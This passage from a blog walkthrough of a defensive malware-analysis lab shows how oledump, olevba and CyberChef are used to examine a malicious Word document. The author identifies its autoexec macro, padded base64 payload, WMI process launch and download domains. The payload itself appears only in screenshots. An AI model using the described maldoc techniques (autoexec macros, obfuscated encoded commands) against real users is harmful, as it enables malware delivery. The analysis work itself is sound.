target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/decalage2/olefile/blob/master/doc/OLE_Overview.rst&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An OLE file can also contain &lt;strong&gt;storages&lt;/strong&gt;. A storage is a folder that contains streams or other storages. For example, a MS Word document with VBA macros has a storage called &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Macros&amp;quot;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Okay — now that we&amp;rsquo;ve gotten a refresher, we&amp;rsquo;ll head back to the &lt;em&gt;REMnux&lt;/em&gt; documentation which has a link over to &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/oledump-py/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Didier Stevens website&lt;/a&gt;, the author of &lt;em&gt;oledump&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We can take a look at the documentation for &lt;em&gt;oledump&lt;/em&gt; before we move forward but fortunately for us, we have an option within the tool to utilize the built-in manual — let&amp;rsquo;s use it to get an idea of the syntax. Remember, for &lt;strong&gt;Question 1&lt;/strong&gt; we simply need to figure out how to show the streams that contain &lt;em&gt;macros&lt;/em&gt; within the suspicious document.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;172px&#34; data-flex-grow=&#34;71&#34; height=&#34;1058&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/d58fe67ee8f00fb4aa025732ee60ad11_MD5.png&#34; width=&#34;760&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s just try to process the challenge file with the tool and see what we get:&lt;/p&gt;&#xA;&lt;p&gt;oledump.py &lt;path to file&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;238px&#34; data-flex-grow=&#34;99&#34; height=&#34;686&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/89a56337d9f728a3d4c25ef2fa81de5c_MD5.png&#34; width=&#34;681&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to the &lt;em&gt;oledump&lt;/em&gt; site_,_ The &lt;em&gt;M&lt;/em&gt; **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**&lt;em&gt;indicates that the stream contains VBA macros&lt;/em&gt;.&amp;quot;&#xA;Very interesting, our sample contains three! For &lt;strong&gt;Question 1&lt;/strong&gt; we are looking for the highest stream number. Let&amp;rsquo;s find it and check our work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;805px&#34; data-flex-grow=&#34;335&#34; height=&#34;162&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/7a7c4afd523246716b759361eaa510d6_MD5.png&#34; width=&#34;544&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-event-is-used-to-begin-the-execution-of-themacros&#34;&gt;Question 2: What event is used to begin the execution of the macros?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now it&amp;rsquo;s time to get serious and do some static analysis. We&amp;rsquo;re going to check out another tool that I mentioned earlier — &lt;a class=&#34;link&#34; href=&#34;https://www.decalage.info/en/python/olevba&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;olevba&lt;/em&gt;&lt;/a&gt; as part of the &lt;em&gt;oletools&lt;/em&gt; suite by Philippe Lagadec.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to &lt;strong&gt;detect VBA Macros&lt;/strong&gt;, extract their &lt;strong&gt;source code&lt;/strong&gt; in clear text, &lt;strong&gt;decode malware obfuscation&lt;/strong&gt; (Hex/Base64/StrReverse/Dridex) and detect security-related patterns such as &lt;strong&gt;auto-executable macros&lt;/strong&gt;, &lt;strong&gt;suspicious VBA keywords&lt;/strong&gt; used by malware, and potential &lt;strong&gt;IOCs&lt;/strong&gt; (IP addresses, URLs, executable filenames, etc).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll use &lt;em&gt;olevba&lt;/em&gt; to parse the suspicious file and see if it pulls anything out that could help us answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s run through the command and scroll through the output.&lt;/p&gt;&#xA;&lt;p&gt;olevba &lt;path to file&gt;&lt;/p&gt;&#xA;&lt;p&gt;Conveniently highlighted in yellow, there is an event that sticks out and appears like it might trigger execution — Let&amp;rsquo;s see if there is any more information in the summary to confirm&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;719px&#34; data-flex-grow=&#34;299&#34; height=&#34;267&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/95fa8c98dd79ca333e89f2abb3ed6916_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;olevba output&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;426&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/34ef427ef82d3e180bcd348a00563044_MD5.png&#34; width=&#34;718&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The summary in olevba&lt;/p&gt;&#xA;&lt;p&gt;Okay, very interesting! The event we found earlier is an &lt;em&gt;AutoExec&lt;/em&gt; type that runs when the document is opened. That seems kind of suspicious and I think we have found the answer to &lt;strong&gt;Question 2&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;900px&#34; data-flex-grow=&#34;375&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/7cfa7c4ff17b9ea2ba945fb642bae7c8_MD5.png&#34; width=&#34;544&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-malware-family-was-this-maldoc-attempting-todrop&#34;&gt;Question 3: What malware family was this maldoc attempting to drop?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s see what intelligence we can gather on the file. To keep this simple, let&amp;rsquo;s just calculate the &lt;em&gt;file hash&lt;/em&gt; of the malicious binary — we can do this right from the terminal. For this example, we&amp;rsquo;ll calculate the &lt;em&gt;SHA-256&lt;/em&gt; hash.&lt;/p&gt;&#xA;&lt;p&gt;sha256sum sample.bin&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3890px&#34; data-flex-grow=&#34;1620&#34; height=&#34;43&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/cdde8587248f3f716b886ff74c503639_MD5.png&#34; width=&#34;697&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check first if &lt;em&gt;Virus Total&lt;/em&gt; has any hits by submitting the hash of the file, maybe?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;458px&#34; data-flex-grow=&#34;190&#34; height=&#34;419&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/8d6e5c7558dd40aa4794edb5afe285c9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! We&amp;rsquo;ve got a lot of detection on this file. Let&amp;rsquo;s take a look at the &lt;em&gt;threat&lt;/em&gt; and &lt;em&gt;family labels&lt;/em&gt; — this will provide us with the answer we&amp;rsquo;re looking for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1147px&#34; data-flex-grow=&#34;478&#34; height=&#34;138&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/b0875067f7564de1f9e15950b939e4c2_MD5.png&#34; width=&#34;660&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-stream-is-responsible-for-the-storage-of-the-base64-encoded-string&#34;&gt;Question 4: What stream is responsible for the storage of the base64-encoded string?&#xA;&lt;/h3&gt;&lt;p&gt;If you haven&amp;rsquo;t cleared your terminal, let&amp;rsquo;s scroll back to the output of &lt;em&gt;olevba&lt;/em&gt; from &lt;strong&gt;Question 2.&lt;/strong&gt; Remember as we were scrolling down through the out put there was a large block of obfuscated strings?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;593px&#34; data-flex-grow=&#34;247&#34; height=&#34;485&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/18bae8b2171990d35d7479ef62a5215c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/18bae8b2171990d35d7479ef62a5215c_MD5_hu_46c7e0a2cbde8950.png 800w, https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/18bae8b2171990d35d7479ef62a5215c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Yeah, that one! Let&amp;rsquo;s take a closer look but this seems likely to be the stream that is storing the &lt;em&gt;Base64&lt;/em&gt; encoded string we need for &lt;strong&gt;Question 4.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We need to find the stream number though, right? Remember back in &lt;strong&gt;Question 1&lt;/strong&gt; where we used &lt;em&gt;oledump?&lt;/em&gt; Let&amp;rsquo;s scroll back to that output (or run it again) and see if we can do some matching.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;242px&#34; data-flex-grow=&#34;101&#34; height=&#34;684&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/ea748404f9116ea82dfe962603d71cc3_MD5.png&#34; width=&#34;691&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now if we look through the list, we see the the stream number corresponds to the OLE stream name we found with &lt;em&gt;olevba&lt;/em&gt; — let&amp;rsquo;s confirm that we have the right one and submit the answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1358px&#34; data-flex-grow=&#34;565&#34; height=&#34;138&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/33a7cafda7155d19238d5e9975e90790_MD5.png&#34; width=&#34;781&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-this-document-contains-a-user-form-provide-thename&#34;&gt;Question 5: This document contains a user-form. Provide the name?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 5&lt;/strong&gt;, we are looking for a &lt;em&gt;userform&lt;/em&gt; contained in the document — these are used to created custom dialog boxes. _S_ometimes, these are seen in malicious documents where the user will open the document and see a dialog box/prompt/button like &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Sign In to view this document.&amp;quot;&#xA;When the button is pressed the victim may be redirected to a phishing URL or something else malicious.&lt;/p&gt;&#xA;&lt;p&gt;To tackle this one, we could potentially open the file in a &lt;em&gt;Microsoft Office&lt;/em&gt; app to confirm the use and details of the &lt;em&gt;userform&lt;/em&gt; but I think we can continue using our command-line tools for the purposes of this write-up.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s scroll back through the output of &lt;em&gt;olevba&lt;/em&gt; again we see references to &lt;em&gt;VBA FORM STRING&lt;/em&gt; over and over with the same container name as we found in &lt;strong&gt;Question 4.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;592px&#34; data-flex-grow=&#34;246&#34; height=&#34;486&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/cffcac05a711c154709685b937357962_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/cffcac05a711c154709685b937357962_MD5_hu_cc2fc532c1308079.png 800w, https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/cffcac05a711c154709685b937357962_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;That could be something, but how can we confirm the form name? Let&amp;rsquo;s take to &lt;em&gt;Google&lt;/em&gt; and see if we can find anything about VBA Macro Forms. Eventually, I stumbled across a Microsoft Answers article, &lt;a class=&#34;link&#34; href=&#34;https://answers.microsoft.com/en-us/msoffice/forum/all/introduction-to-the-office-macro-editor-part-2/ab747f7e-3c40-48cc-b28d-db5221701535&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Introduction to the Office Macro Editor, Part 2&lt;/strong&gt;&lt;/a&gt;, where it states:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The code of a userform is saved as a *.frm file&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Maybe we can &lt;em&gt;olevba&lt;/em&gt; again and &lt;em&gt;grep&lt;/em&gt; the output for &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;.frm&lt;/strong&gt;&amp;quot;&#xA;? Let&amp;rsquo;s try it it out.&lt;/p&gt;&#xA;&lt;p&gt;olevba sample.bin | grep -i &amp;ldquo;.frm&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4682px&#34; data-flex-grow=&#34;1951&#34; height=&#34;41&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/e995b147786326faa15d07c535ef5e74_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;547px&#34; data-flex-grow=&#34;227&#34; height=&#34;351&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/d1d0b7e95ed5c796e4f1897f5d007af3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! It looks like we found the &lt;strong&gt;.frm&lt;/strong&gt; file which confirms the name we found earlier. Let&amp;rsquo;s submit it and move on!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1139px&#34; data-flex-grow=&#34;474&#34; height=&#34;139&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/10baefcab4c87de87c89e9bd2ddc840c_MD5.png&#34; width=&#34;660&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-this-document-contains-an-obfuscated-base64-encoded-string-what-value-is-used-to-pad-or-obfuscate-thisstring&#34;&gt;Question 6: This document contains an obfuscated base64 encoded string; what value is used to pad (or obfuscate) this string?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, we found this Base64 encoded string back in &lt;strong&gt;Question&lt;/strong&gt; 4 so we know the stream it is contained in. Let&amp;rsquo;s jump back to &lt;em&gt;oledump&lt;/em&gt; and do a strings dump (&lt;strong&gt;-S&lt;/strong&gt;) and output this to a file just to get a cleaner view.&lt;/p&gt;&#xA;&lt;p&gt;oledump.py -s &lt;stream&gt; -S sample.bin &amp;gt; output.txt&lt;/p&gt;&#xA;&lt;p&gt;Once open the text file and we see pretty quickly that a pattern emerges and we see a sequence of characters repeat continuously:&lt;/p&gt;&#xA;&lt;p&gt;*&lt;em&gt;2342772g3&amp;amp;&lt;em&gt;gs&lt;redacted&gt;fq&lt;/em&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;842px&#34; data-flex-grow=&#34;350&#34; height=&#34;342&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/fe3ee0df44cc041e1281b96ace858257_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/fe3ee0df44cc041e1281b96ace858257_MD5_hu_7224109ee31daf1a.png 800w, https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/fe3ee0df44cc041e1281b96ace858257_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Text output of the strings dump&lt;/p&gt;&#xA;&lt;p&gt;I am pretty confident this is the padding value we are looking for. Let&amp;rsquo;s confirm our suspicion and get to decoding!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;968px&#34; data-flex-grow=&#34;403&#34; height=&#34;164&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/ec2eaace5aaf11f4f03fdddeb790e034_MD5.png&#34; width=&#34;662&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-program-executed-by-the-base64-encodedstring&#34;&gt;Question 7: What is the program executed by the base64 encoded string?&#xA;&lt;/h3&gt;&lt;p&gt;Alright, let&amp;rsquo;s try to deobfuscate the string and break down the command. Let&amp;rsquo;s jump into &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;CyberChef&lt;/em&gt;&lt;/a&gt; &lt;em&gt;—&lt;/em&gt; I&amp;rsquo;m going to use the installed version in &lt;em&gt;REMnux&lt;/em&gt; but the online version will work as well. We&amp;rsquo;ll copy the command from the output file we made from &lt;em&gt;oledump&lt;/em&gt; and get to work!&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m going to try a simple find/replace operation to find the padding value that we located in the previous question and replace it with blank. Hopefully there is something left after it is stripped away that we can analyze&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;572px&#34; data-flex-grow=&#34;238&#34; height=&#34;503&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/733271e153a98da24e33e78bab073860_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/733271e153a98da24e33e78bab073860_MD5_hu_955ae3b5086bf1d1.png 800w, https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/733271e153a98da24e33e78bab073860_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Woah! Now that we have removed the padding we seem to have found the answer to &lt;strong&gt;Question 7!&lt;/strong&gt; But, there is still some work to do to finish decoding the command this program will execute&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1326px&#34; data-flex-grow=&#34;552&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/d7306381917ea27777869631d62f989c_MD5.png&#34; width=&#34;785&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-wmi-class-is-used-to-create-the-process-to-launch-thetrojan&#34;&gt;Question 8: What WMI class is used to create the process to launch the trojan?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s stick with &lt;em&gt;CyberChef&lt;/em&gt; for this question and to try to decode that command. Since we know from the challenge that we are working with a &lt;em&gt;Base64&lt;/em&gt; encoded string, let&amp;rsquo;s start there.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll copy the encoded command (not the program name from the previous question) into a new tab and apply the &lt;em&gt;From Base64&lt;/em&gt; operation into our recipe as a starting point:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;595px&#34; data-flex-grow=&#34;247&#34; height=&#34;484&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/04a425973ce910eba17863e21ecd5676_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/04a425973ce910eba17863e21ecd5676_MD5_hu_459c6f8c496a624e.png 800w, https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/04a425973ce910eba17863e21ecd5676_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we do that, it seems that we are getting closer and the script is starting to become readable but I think we can do better getting this cleaned up. Let&amp;rsquo;s add some flavor to the recipe and add &lt;em&gt;remove&lt;/em&gt; &lt;em&gt;null bytes&lt;/em&gt;&lt;strong&gt;&lt;em&gt;,&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;find/replace the ` ,&lt;/em&gt; and &lt;em&gt;to Lower case&amp;hellip;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voila! Our recipe:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;581px&#34; data-flex-grow=&#34;242&#34; height=&#34;495&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/de3c4d7c04e685a84eec290cd160d1a5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/de3c4d7c04e685a84eec290cd160d1a5_MD5_hu_2f6cac46ffc5339e.png 800w, https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/de3c4d7c04e685a84eec290cd160d1a5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we can clearly read this payload, we can really start to analyze it! For &lt;strong&gt;Question 8&lt;/strong&gt; we are searching for a &amp;quot; # &amp;ldquo;WMI class is used to create the process to launch the trojan.&amp;ldquo;Look closely toward the end of the code, we see reference to a &lt;em&gt;Windows Management Instrumentation&lt;/em&gt; (&lt;em&gt;WMI&lt;/em&gt;) class. I believe this is answer we are looking for as this particular class can be invoked to start a new process, script, or executable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1115px&#34; data-flex-grow=&#34;464&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/cc7970fc6d9763c7e338ce77db730d78_MD5.png&#34; width=&#34;660&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-multiple-domains-were-contacted-to-download-a-trojan-provide-first-fqdn-as-per-the-providedhint&#34;&gt;Question 9: Multiple domains were contacted to download a trojan. Provide first FQDN as per the provided hint.&#xA;&lt;/h3&gt;&lt;p&gt;Since we are already looking through our decoded command from the previous question, you probably already noticed quite a few Fully Qualified Domain Names (FQDN) in the output? This is what we are looking for!&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 9&lt;/strong&gt;, we just need to browse through the code and submit the first FQDN listed. Once we have found it — let&amp;rsquo;s submit the answer and wrap up this challenge!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;676px&#34; data-flex-grow=&#34;281&#34; height=&#34;426&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/1ad440c3b4341b47758b461b840eebd6_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/1ad440c3b4341b47758b461b840eebd6_MD5_hu_e1f0bbcebcac8023.png 800w, https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/1ad440c3b4341b47758b461b840eebd6_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;976px&#34; data-flex-grow=&#34;406&#34; height=&#34;163&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/a8065f2048c5ffb90e7eb4169f23da22_MD5.png&#34; width=&#34;663&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;We made it! Great job!&lt;/p&gt;&#xA;&lt;p&gt;Thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders.org&lt;/strong&gt;&lt;/a&gt; for hosting another awesome challenge and providing an excellent opportunity to spend time to understand the &lt;em&gt;OLE&lt;/em&gt; document structure and how a threat actor might arm an Office file. This was a really fun challenge to tackle with so much practical application to demonstrate how we as defenders can perform quick static analysis on a malicious document file with the help of some awesome tools like &lt;em&gt;oledump&lt;/em&gt; &amp;amp; 